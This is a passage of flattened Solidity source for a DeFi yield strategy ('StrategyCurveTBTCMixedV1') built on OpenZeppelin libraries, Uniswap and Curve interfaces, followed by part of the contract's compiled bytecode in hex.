expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/interface/IVault.sol pragma solidity ^0.6.2; interface IVault is IERC20 { function balance() external view returns (uint256); function balanceOfToken() external view returns (uint256); function token() external view returns (address); function claimInsurance() external; // NOTE: Only yDelegatedVault implements this function getRatio() external view returns (uint256); function deposit(uint256) external; function withdraw(uint256) external; function earn() external; } // File: contracts/interface/IStakingRewards.sol pragma solidity ^0.6.2; interface IStakingRewards { function balanceOf(address account) external view returns (uint256); function earned(address account) external view returns (uint256); function exit() external; function getReward() external; function getRewardForDuration() external view returns (uint256); function lastTimeRewardApplicable() external view returns (uint256); function lastUpdateTime() external view returns (uint256); function notifyRewardAmount(uint256 reward) external; function periodFinish() external view returns (uint256); function rewardPerToken() external view returns (uint256); function rewardPerTokenStored() external view returns (uint256); function rewardRate() external view returns (uint256); function rewards(address) external view returns (uint256); function rewardsDistribution() external view returns (address); function rewardsDuration() external view returns (uint256); function rewardsToken() external view returns (address); function stake(uint256 amount) external; function stakeWithPermit( uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function stakingToken() external view returns (address); function totalSupply() external view returns (uint256); function userRewardPerTokenPaid(address) external view returns (uint256); function withdraw(uint256 amount) external; } // File: contracts/interface/UniswapRouterV2.sol pragma solidity ^0.6.2; interface UniswapRouterV2 { function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); } // File: contracts/interface/IController.sol pragma solidity ^0.6.0; interface IController { function vaults(address) external view returns (address); function comAddr() external view returns (address); function devAddr() external view returns (address); function burnAddr() external view returns (address); function want(address) external view returns (address); // NOTE: Only StrategyControllerV2 implements this function balanceOf(address) external view returns (uint256); function withdraw(address, uint256) external; function freeWithdraw(address, uint256) external; function earn(address, uint256) external; } // File: contracts/strategies/StrategyBase.sol pragma solidity ^0.6.7; // Strategy Contract Basics abstract contract StrategyBase { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; // Fees 30% in total // - 0% devFundFee for development fund // - 0% comFundFee for community fund // - 30% used to burn/repurchase btfs which will be sent to profit pool uint256 public devFundFee = 0; uint256 public constant devFundMax = 10000; uint256 public comFundFee = 0; uint256 public constant comFundMax = 10000; uint256 public burnFee = 3000; uint256 public constant burnMax = 10000; // Withdrawal fee up to 0.5% uint256 public withdrawalFee = 0; uint256 public constant withdrawalMax = 10000; // Tokens address public token; address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // stablecoins address public constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address public constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7; address public constant susd = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51; address public constant tusd = 0x0000000000085d4780B73119b644AE5ecd22b376; address public btf; // User accounts address public governance; address public controller; address public strategist; address public timelock; // Dex address public univ2Router2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // usdc -> btf pair exists? bool public swapUsdcForBtf = false; constructor( address _btf, address _token, address _governance, address _strategist, address _controller, address _timelock ) public { require(_btf != address(0)); require(_token != address(0)); require(_governance != address(0)); require(_strategist != address(0)); require(_controller != address(0)); require(_timelock != address(0)); btf = _btf; token = _token; governance = _governance; strategist = _strategist; controller = _controller; timelock = _timelock; } // **** Modifiers **** // modifier onlyBenevolent { require( msg.sender == tx.origin || msg.sender == governance || msg.sender == strategist ); _; } // **** Views **** // function balanceOfWant() public view returns (uint256) { return IERC20(token).balanceOf(address(this)); } function balanceOfPool() public virtual view returns (uint256); function balanceOf() public view returns (uint256) { return balanceOfWant().add(balanceOfPool()); } // weth->btf path function getSwapPathOfBtf() public view returns (address[] memory){ address[] memory path; if (swapUsdcForBtf) { path = new address[](3); path[0] = weth; path[1] = usdc; path[2] = btf; } else { path = new address[](2); path[0] = weth; path[1] = btf; } return path; } function getName() external virtual pure returns (string memory); // **** Setters **** // function setBtf(address _btf) public { require(msg.sender == governance, "!governance"); btf = _btf; } function setDevFundFee(uint256 _devFundFee) external { require(msg.sender == timelock, "!timelock"); devFundFee = _devFundFee; } function setComFundFee(uint256 _comFundFee) external { require(msg.sender == timelock, "!timelock"); comFundFee = _comFundFee; } function setBurnFee(uint256 _burnFee) external { require(msg.sender == timelock, "!timelock"); burnFee = _burnFee; } function setWithdrawalFee(uint256 _withdrawalFee) external { require(msg.sender == timelock, "!timelock"); withdrawalFee = _withdrawalFee; } function setStrategist(address _strategist) external { require(msg.sender == governance, "!governance"); strategist = _strategist; } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function setTimelock(address _timelock) external { require(msg.sender == timelock, "!timelock"); timelock = _timelock; } function setController(address _controller) external { require(msg.sender == timelock, "!timelock"); controller = _controller; } function setSwapUsdcForBtf(bool _swapUsdcForBtf) external { require(msg.sender == governance, "!governance"); swapUsdcForBtf = _swapUsdcForBtf; } // **** State mutations **** // function deposit() public virtual; // Controller only function for creating additional rewards from dust function withdraw(IERC20 _asset) external returns (uint256 balance) { require(msg.sender == controller, "!controller"); require(token != address(_asset), "token"); balance = _asset.balanceOf(address(this)); _asset.safeTransfer(controller, balance); } // Contoller only function for withdrawing for free // This is used to swap between vaults function freeWithdraw(uint256 _amount) external { require(msg.sender == controller, "!controller"); uint256 _balance = IERC20(token).balanceOf(address(this)); if (_balance < _amount) { _amount = _withdrawSome(_amount.sub(_balance)); _amount = _amount.add(_balance); } IERC20(token).safeTransfer(msg.sender, _amount); } // Withdraw partial funds, normally used with a vault withdrawal function withdraw(uint256 _amount) external { require(msg.sender == controller, "!controller"); uint256 _balance = IERC20(token).balanceOf(address(this)); if (_balance < _amount) { _amount = _withdrawSome(_amount.sub(_balance)); _amount = _amount.add(_balance); } if (withdrawalFee > 0) { uint256 _fee = _amount.mul(withdrawalFee).div(withdrawalMax); IERC20(token).safeTransfer(IController(controller).comAddr(), _fee); _amount = _amount.sub(_fee); } address _vault = IController(controller).vaults(address(token)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(token).safeTransfer(_vault, _amount); } // Withdraw all funds, normally used when migrating strategies function withdrawAll() external returns (uint256 balance) { require(msg.sender == controller, "!controller"); _withdrawAll(); balance = IERC20(token).balanceOf(address(this)); address _vault = IController(controller).vaults(address(token)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(token).safeTransfer(_vault, balance); } function _withdrawAll() internal { _withdrawSome(balanceOfPool()); } function _withdrawSome(uint256 _amount) internal virtual returns (uint256); function harvest() public virtual; // **** Emergency functions **** function execute(address _target, bytes memory _data) public payable returns (bytes memory response) { require(msg.sender == timelock, "!timelock"); require(_target != address(0), "!target"); // call contract in current context assembly { let succeeded := delegatecall( sub(gas(), 5000), _target, add(_data, 0x20), mload(_data), 0, 0 ) let size := returndatasize() response := mload(0x40) mstore( 0x40, add(response, and(add(add(size, 0x20), 0x1f), not(0x1f))) ) mstore(response, size) returndatacopy(add(response, 0x20), 0, size) switch iszero(succeeded) case 1 { // throw if delegatecall failed revert(add(response, 0x20), size) } } } // **** Internal functions **** function _swapUniswap( address[] memory path, uint256 _amount ) internal { // Swap with uniswap IERC20(path[0]).safeApprove(univ2Router2, 0); IERC20(path[0]).safeApprove(univ2Router2, _amount); UniswapRouterV2(univ2Router2).swapExactTokensForTokens( _amount, 0, path, address(this), now.add(60) ); } function _swapUniswap( address _from, address _to, uint256 _amount ) internal { require(_to != address(0)); address[] memory path; if (_from == weth || _to == weth) { path = new address[](2); path[0] = _from; path[1] = _to; } else { path = new address[](3); path[0] = _from; path[1] = weth; path[2] = _to; } _swapUniswap(path, _amount); } } // File: contracts/interface/Curve.sol pragma solidity ^0.6.7; interface ICurveFi_2 { function get_virtual_price() external view returns (uint256); function add_liquidity(uint256[2] calldata amounts, uint256 min_mint_amount) external; function remove_liquidity_imbalance( uint256[2] calldata amounts, uint256 max_burn_amount ) external; function remove_liquidity(uint256 _amount, uint256[2] calldata amounts) external; function exchange( int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount ) external; function balances(int128) external view returns (uint256); } interface ICurveFi_3 { function get_virtual_price() external view returns (uint256); function add_liquidity(uint256[3] calldata amounts, uint256 min_mint_amount) external; function remove_liquidity_imbalance( uint256[3] calldata amounts, uint256 max_burn_amount ) external; function remove_liquidity(uint256 _amount, uint256[3] calldata amounts) external; function exchange( int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount ) external; function balances(uint256) external view returns (uint256); } interface ICurveFi_4 { function get_virtual_price() external view returns (uint256); function add_liquidity(uint256[4] calldata amounts, uint256 min_mint_amount) external; function remove_liquidity_imbalance( uint256[4] calldata amounts, uint256 max_burn_amount ) external; function remove_liquidity(uint256 _amount, uint256[4] calldata amounts) external; function exchange( int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount ) external; function balances(int128) external view returns (uint256); } interface ICurveZap_4 { function add_liquidity( uint256[4] calldata uamounts, uint256 min_mint_amount ) external; function remove_liquidity(uint256 _amount, uint256[4] calldata min_uamounts) external; function remove_liquidity_imbalance( uint256[4] calldata uamounts, uint256 max_burn_amount ) external; function calc_withdraw_one_coin(uint256 _token_amount, int128 i) external returns (uint256); function remove_liquidity_one_coin( uint256 _token_amount, int128 i, uint256 min_uamount ) external; function remove_liquidity_one_coin( uint256 _token_amount, int128 i, uint256 min_uamount, bool donate_dust ) external; function withdraw_donated_dust() external; function coins(int128 arg0) external returns (address); function underlying_coins(int128 arg0) external returns (address); function curve() external returns (address); function token() external returns (address); } interface ICurveZap { function remove_liquidity_one_coin( uint256 _token_amount, int128 i, uint256 min_uamount ) external; } interface ICurveGauge { function deposit(uint256 _value) external; function deposit(uint256 _value, address addr) external; function balanceOf(address arg0) external view returns (uint256); function withdraw(uint256 _value) external; function withdraw(uint256 _value, bool claim_rewards) external; function claim_rewards() external; function claim_rewards(address addr) external; function claimable_tokens(address addr) external returns (uint256); function claimable_reward(address addr) external view returns (uint256); function integrate_fraction(address arg0) external view returns (uint256); } interface ICurveMintr { function mint(address) external; function minted(address arg0, address arg1) external view returns (uint256); } interface ICurveVotingEscrow { function locked(address arg0) external view returns (int128 amount, uint256 end); function locked__end(address _addr) external view returns (uint256); function create_lock(uint256, uint256) external; function increase_amount(uint256) external; function increase_unlock_time(uint256 _unlock_time) external; function withdraw() external; function smart_wallet_checker() external returns (address); } interface ICurveSmartContractChecker { function wallets(address) external returns (bool); function approveWallet(address _wallet) external; } // File: contracts/strategies/curve/StrategyCurveBase.sol pragma solidity ^0.6.2; abstract contract StrategyCurveBase is StrategyBase { // Curve stuff address public want; address public gauge; // curve pool address public curve; address public mintr; // bitcoins address public constant wbtc = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599; address public constant renbtc = 0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D; // rewards address public constant crv = 0xD533a949740bb3306d119CC777fa900bA034cd52; constructor( address _want, address _gauge, address _curve, address _mintr, address _btf, address _governance, address _strategist, address _controller, address _timelock ) public StrategyBase(_btf, _want, _governance, _strategist, _controller, _timelock) { want = _want; gauge = _gauge; curve = _curve; mintr = _mintr; } // **** Getters **** function balanceOfPool() public override view returns (uint256) { return ICurveGauge(gauge).balanceOf(address(this)); } function getHarvestable() external returns (uint256) { return ICurveGauge(gauge).claimable_tokens(address(this)); } // **** State Mutation functions **** function deposit() public override { uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { IERC20(want).safeApprove(gauge, 0); IERC20(want).safeApprove(gauge, _want); ICurveGauge(gauge).deposit(_want); } } function _withdrawSome(uint256 _amount) internal override returns (uint256) { ICurveGauge(gauge).withdraw(_amount); return _amount; } } // File: contracts/strategies/curve/StrategyCurveTBTCMixedV1.sol pragma solidity ^0.6.2; interface IKeepRewardsClaimable { function claim_rewards() external; } contract StrategyCurveTBTCMixedV1 is StrategyCurveBase { // Curve stuff address public _tBTCMixed = 0x64eda51d3Ad40D56b9dFc5554E06F94e1Dd786Fd; address public _gauge = 0x6828bcF74279eE32f2723eC536c22c51Eed383C6; // tbtc pool address public _curve = 0xaa82ca713D94bBA7A89CEAB55314F9EfFEdDc78c; address public _mintr = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0; // keep address public keep = 0x85Eee30c52B0b379b046Fb0F85F4f3Dc3009aFEC; address public keepRewards = 0x6828bcF74279eE32f2723eC536c22c51Eed383C6; constructor( address _btf, address _governance, address _strategist, address _controller, address _timelock ) public StrategyCurveBase(_tBTCMixed, _gauge, _curve, _mintr, _btf, _governance, _strategist, _controller, _timelock) { } // **** Views **** function getMostPremium() public pure returns (address, uint256) { return (wbtc, 2); } function getName() external override pure returns (string memory) { return "StrategyCurveTBTCMixedV1"; } // **** State Mutation functions **** function harvest() public override onlyBenevolent { // Anyone can harvest it at any given time. // I understand the possibility of being frontrun // But ETH is a dark forest, and I wanna see how this plays out // i.e. will be be heavily frontrunned? // if so, a new strategy will be deployed. // stablecoin we want to convert to (address to, uint256 toIndex) = getMostPremium(); // Collects crv tokens // this also sends KEEP to keepRewards contract ICurveMintr(mintr).mint(gauge); uint256 _crv = IERC20(crv).balanceOf(address(this)); if (_crv > 0) { _swapUniswap(crv, weth, _crv); } IKeepRewardsClaimable(keepRewards).claim_rewards(); uint256 _keep = IERC20(keep).balanceOf(address(this)); if (_keep >0) { _swapUniswap(keep, weth, _keep); } // Adds liquidity to curve.fi's pool uint256 _weth = IERC20(weth).balanceOf(address(this)); if (_weth > 0) { if (devFundFee > 0) { uint256 _devFundFee = _weth.mul(devFundFee).div(devFundMax); IERC20(weth).transfer( IController(controller).devAddr(), _devFundFee ); } // Burn some btfs first if (burnFee > 0) { uint256 _burnFee = _weth.mul(burnFee).div(burnMax); _swapUniswap(getSwapPathOfBtf(), _burnFee); IERC20(btf).transfer( IController(controller).burnAddr(), IERC20(btf).balanceOf(address(this)) ); } if (comFundFee > 0) { uint256 _comFundFee = _weth.mul(comFundFee).div(comFundMax); IERC20(weth).transfer( IController(controller).comAddr(), _comFundFee ); } _weth = IERC20(weth).balanceOf(address(this)); _swapUniswap(weth, to, _weth); uint256 _to = IERC20(to).balanceOf(address(this)); IERC20(to).safeApprove(curve, 0); IERC20(to).safeApprove(curve, _to); uint256[4] memory liquidity; liquidity[toIndex] = _to; ICurveFi_4(curve).add_liquidity(liquidity, 0); } // get back want (Curve.fi tBTC/sbtcCrv) uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { deposit(); } } }
0x60806040526004361061038c5760003560e01c8063853828b6116101dc578063c7b9d53011610102578063d91a3059116100a0578063f4b9fa751161006f578063f4b9fa7514610aeb578063f77c479114610b00578063fc0c546a14610b15578063fce589d814610b2a5761038c565b8063d91a305914610a6b578063e4d06d8214610a80578063e8b52d1714610a95578063eebeea4f14610ac15761038c565b8063d0e30db0116100dc578063d0e30db014610a2c578063d1e61dcb14610a41578063d33219b414610a56578063d5c1ff73146103cd5761038c565b8063c7b9d530146109b1578063c9257775146109e4578063ca7873a5146109f95761038c565b8063ab033ea91161017a578063b9e3748911610149578063b9e374891461093f578063bdacb30314610954578063c177f24814610987578063c1a3d44c1461099c5761038c565b8063ab033ea9146108b8578063ab4e4827146108eb578063ac1e502514610900578063b635b8ae1461092a5761038c565b806392eefe9b116101b657806392eefe9b1461080b5780639a68cf63146103cd578063a6f19c841461083e578063a7ffa8f1146108535761038c565b8063853828b6146107cc5780638bc7e8c4146107e157806390354872146107f65761038c565b80633fc8cef3116102c15780635c131d701161025f578063758f7cfc1161022e578063758f7cfc1461076457806375b5be2d1461077957806379d736951461078e5780637e0bd43c146107a35761038c565b80635c131d70146103cd5780636a4874a1146107255780637165485d1461073a578063722713f71461074f5761038c565b80634bf2c7c91161029b5780634bf2c7c91461069e57806351cff8d9146106c857806355a21b9e146106fb5780635aa6e675146107105761038c565b80633fc8cef31461063c5780634641257d1461065157806348677dbe146106665761038c565b80631fe4a6861161032e5780632f48ab7d116103085780632f48ab7d146105d357806335d32026146105e85780633cdc5389146106125780633e413bee146106275761038c565b80631fe4a6861461057f578063268bf3b8146105945780632e1a7d4d146105a95761038c565b806314e6ac091161036a57806314e6ac09146103e257806317d7de7c1461040e5780631cff79cd146104985780631f1fcd511461054e5761038c565b80630547104d1461039157806311588086146103b857806313bd4b95146103cd575b600080fd5b34801561039d57600080fd5b506103a6610b3f565b60408051918252519081900360200190f35b3480156103c457600080fd5b506103a6610bbc565b3480156103d957600080fd5b506103a6610c1b565b3480156103ee57600080fd5b5061040c6004803603602081101561040557600080fd5b5035610c21565b005b34801561041a57600080fd5b50610423610c71565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561045d578181015183820152602001610445565b50505050905090810190601f16801561048a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610423600480360360408110156104ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156104d957600080fd5b8201836020820111156104eb57600080fd5b8035906020019184600183028401116401000000008311171561050d57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610ca8945050505050565b34801561055a57600080fd5b50610563610d8b565b604080516001600160a01b039092168252519081900360200190f35b34801561058b57600080fd5b50610563610d9a565b3480156105a057600080fd5b50610563610da9565b3480156105b557600080fd5b5061040c600480360360208110156105cc57600080fd5b5035610db8565b3480156105df57600080fd5b50610563611059565b3480156105f457600080fd5b5061040c6004803603602081101561060b57600080fd5b5035611071565b34801561061e57600080fd5b506105636110c1565b34801561063357600080fd5b506105636110d9565b34801561064857600080fd5b506105636110f1565b34801561065d57600080fd5b5061040c611103565b34801561067257600080fd5b5061067b611a6d565b604080516001600160a01b03909316835260208301919091528051918290030190f35b3480156106aa57600080fd5b5061040c600480360360208110156106c157600080fd5b5035611a88565b3480156106d457600080fd5b506103a6600480360360208110156106eb57600080fd5b50356001600160a01b0316611ad8565b34801561070757600080fd5b50610563611c07565b34801561071c57600080fd5b50610563611c16565b34801561073157600080fd5b50610563611c25565b34801561074657600080fd5b50610563611c3d565b34801561075b57600080fd5b506103a6611c4c565b34801561077057600080fd5b50610563611c6c565b34801561078557600080fd5b50610563611c7b565b34801561079a57600080fd5b50610563611c8e565b3480156107af57600080fd5b506107b8611c9d565b604080519115158252519081900360200190f35b3480156107d857600080fd5b506103a6611cad565b3480156107ed57600080fd5b506103a6611e61565b34801561080257600080fd5b50610563611e67565b34801561081757600080fd5b5061040c6004803603602081101561082e57600080fd5b50356001600160a01b0316611e7f565b34801561084a57600080fd5b50610563611eec565b34801561085f57600080fd5b50610868611efb565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156108a457818101518382015260200161088c565b505050509050019250505060405180910390f35b3480156108c457600080fd5b5061040c600480360360208110156108db57600080fd5b50356001600160a01b031661206d565b3480156108f757600080fd5b506103a66120dc565b34801561090c57600080fd5b5061040c6004803603602081101561092357600080fd5b50356120e2565b34801561093657600080fd5b506103a6612132565b34801561094b57600080fd5b50610563612138565b34801561096057600080fd5b5061040c6004803603602081101561097757600080fd5b50356001600160a01b0316612147565b34801561099357600080fd5b506105636121b4565b3480156109a857600080fd5b506103a66121c3565b3480156109bd57600080fd5b5061040c600480360360208110156109d457600080fd5b50356001600160a01b0316612212565b3480156109f057600080fd5b50610563612281565b348015610a0557600080fd5b5061040c60048036036020811015610a1c57600080fd5b50356001600160a01b0316612299565b348015610a3857600080fd5b5061040c612308565b348015610a4d57600080fd5b5061056361242b565b348015610a6257600080fd5b5061056361243a565b348015610a7757600080fd5b50610563612449565b348015610a8c57600080fd5b50610563612458565b348015610aa157600080fd5b5061040c60048036036020811015610ab857600080fd5b50351515612467565b348015610acd57600080fd5b5061040c60048036036020811015610ae457600080fd5b50356124d2565b348015610af757600080fd5b506105636125db565b348015610b0c57600080fd5b506105636125f3565b348015610b2157600080fd5b50610563612602565b348015610b3657600080fd5b506103a6612611565b600c5460408051633313458360e01b815230600482015290516000926001600160a01b031691633313458391602480830192602092919082900301818787803b158015610b8b57600080fd5b505af1158015610b9f573d6000803e3d6000fd5b505050506040513d6020811015610bb557600080fd5b5051905090565b600c54604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610c0757600080fd5b505afa158015610b9f573d6000803e3d6000fd5b61271081565b6009546001600160a01b03163314610c6c576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b600055565b60408051808201909152601881527f53747261746567794375727665544254434d6978656456310000000000000000602082015290565b6009546060906001600160a01b03163314610cf6576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b6001600160a01b038316610d3b576040805162461bcd60e51b8152602060048201526007602482015266085d185c99d95d60ca1b604482015290519081900360640190fd5b600080835160208501866113885a03f43d6040519250601f19601f6020830101168301604052808352806000602085013e811560018114610d7b57610d82565b8160208501fd5b50505092915050565b600b546001600160a01b031681565b6008546001600160a01b031681565b6012546001600160a01b031681565b6007546001600160a01b03163314610e05576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b60048054604080516370a0823160e01b81523093810193909352516000926001600160a01b03909216916370a08231916024808301926020929190829003018186803b158015610e5457600080fd5b505afa158015610e68573d6000803e3d6000fd5b505050506040513d6020811015610e7e57600080fd5b5051905081811015610eab57610e9c610e978383612617565b612662565b9150610ea882826126cc565b91505b60035415610f76576000610ed6612710610ed06003548661272690919063ffffffff16565b9061277f565b9050610f68600760009054906101000a90046001600160a01b03166001600160a01b031663a637558d6040518163ffffffff1660e01b815260040160206040518083038186803b158015610f2957600080fd5b505afa158015610f3d573d6000803e3d6000fd5b505050506040513d6020811015610f5357600080fd5b50516004546001600160a01b031690836127c1565b610f728382612617565b9250505b6007546004805460408051632988bb9f60e21b81526001600160a01b039283169381019390935251600093919091169163a622ee7c916024808301926020929190829003018186803b158015610fcb57600080fd5b505afa158015610fdf573d6000803e3d6000fd5b505050506040513d6020811015610ff557600080fd5b505190506001600160a01b03811661103d576040805162461bcd60e51b8152602060048201526006602482015265085d985d5b1d60d21b604482015290519081900360640190fd5b600454611054906001600160a01b031682856127c1565b505050565b73dac17f958d2ee523a2206206994597c13d831ec781565b6009546001600160a01b031633146110bc576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b600155565b732260fac5e5542a773aa44fbcfedf7c193bc2c59981565b73a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881565b60008051602061300f83398151915281565b3332148061111b57506006546001600160a01b031633145b8061113057506008546001600160a01b031633145b61113957600080fd5b600080611144611a6d565b600e54600c54604080516335313c2160e11b81526001600160a01b03928316600482015290519496509294501691636a6278429160248082019260009290919082900301818387803b15801561119957600080fd5b505af11580156111ad573d6000803e3d6000fd5b5050604080516370a0823160e01b815230600482015290516000935073d533a949740bb3306d119cc777fa900ba034cd5292506370a0823191602480820192602092909190829003018186803b15801561120657600080fd5b505afa15801561121a573d6000803e3d6000fd5b505050506040513d602081101561123057600080fd5b5051905080156112675761126773d533a949740bb3306d119cc777fa900ba034cd5260008051602061300f83398151915283612813565b601460009054906101000a90046001600160a01b03166001600160a01b031663e6f1daf26040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156112b757600080fd5b505af11580156112cb573d6000803e3d6000fd5b5050601354604080516370a0823160e01b81523060048201529051600094506001600160a01b0390921692506370a08231916024808301926020929190829003018186803b15801561131c57600080fd5b505afa158015611330573d6000803e3d6000fd5b505050506040513d602081101561134657600080fd5b50519050801561137557601354611375906001600160a01b031660008051602061300f83398151915283612813565b604080516370a0823160e01b8152306004820152905160009160008051602061300f833981519152916370a0823191602480820192602092909190829003018186803b1580156113c457600080fd5b505afa1580156113d8573d6000803e3d6000fd5b505050506040513d60208110156113ee57600080fd5b5051905080156119de576000541561152057600061141d612710610ed06000548561272690919063ffffffff16565b6007546040805163368271cb60e21b8152905192935060008051602061300f8339815191529263a9059cbb926001600160a01b03169163da09c72c916004808301926020929190829003018186803b15801561147857600080fd5b505afa15801561148c573d6000803e3d6000fd5b505050506040513d60208110156114a257600080fd5b5051604080516001600160e01b031960e085901b1681526001600160a01b039092166004830152602482018590525160448083019260209291908290030181600087803b1580156114f257600080fd5b505af1158015611506573d6000803e3d6000fd5b505050506040513d602081101561151c57600080fd5b5050505b600254156116c7576000611545612710610ed06002548561272690919063ffffffff16565b9050611558611552611efb565b826129b3565b6005546007546040805163d246d41160e01b815290516001600160a01b039384169363a9059cbb93169163d246d411916004808301926020929190829003018186803b1580156115a757600080fd5b505afa1580156115bb573d6000803e3d6000fd5b505050506040513d60208110156115d157600080fd5b5051600554604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561161e57600080fd5b505afa158015611632573d6000803e3d6000fd5b505050506040513d602081101561164857600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561169957600080fd5b505af11580156116ad573d6000803e3d6000fd5b505050506040513d60208110156116c357600080fd5b5050505b600154156117ef5760006116ec612710610ed06001548561272690919063ffffffff16565b6007546040805163a637558d60e01b8152905192935060008051602061300f8339815191529263a9059cbb926001600160a01b03169163a637558d916004808301926020929190829003018186803b15801561174757600080fd5b505afa15801561175b573d6000803e3d6000fd5b505050506040513d602081101561177157600080fd5b5051604080516001600160e01b031960e085901b1681526001600160a01b039092166004830152602482018590525160448083019260209291908290030181600087803b1580156117c157600080fd5b505af11580156117d5573d6000803e3d6000fd5b505050506040513d60208110156117eb57600080fd5b5050505b604080516370a0823160e01b8152306004820152905160008051602061300f833981519152916370a08231916024808301926020929190829003018186803b15801561183a57600080fd5b505afa15801561184e573d6000803e3d6000fd5b505050506040513d602081101561186457600080fd5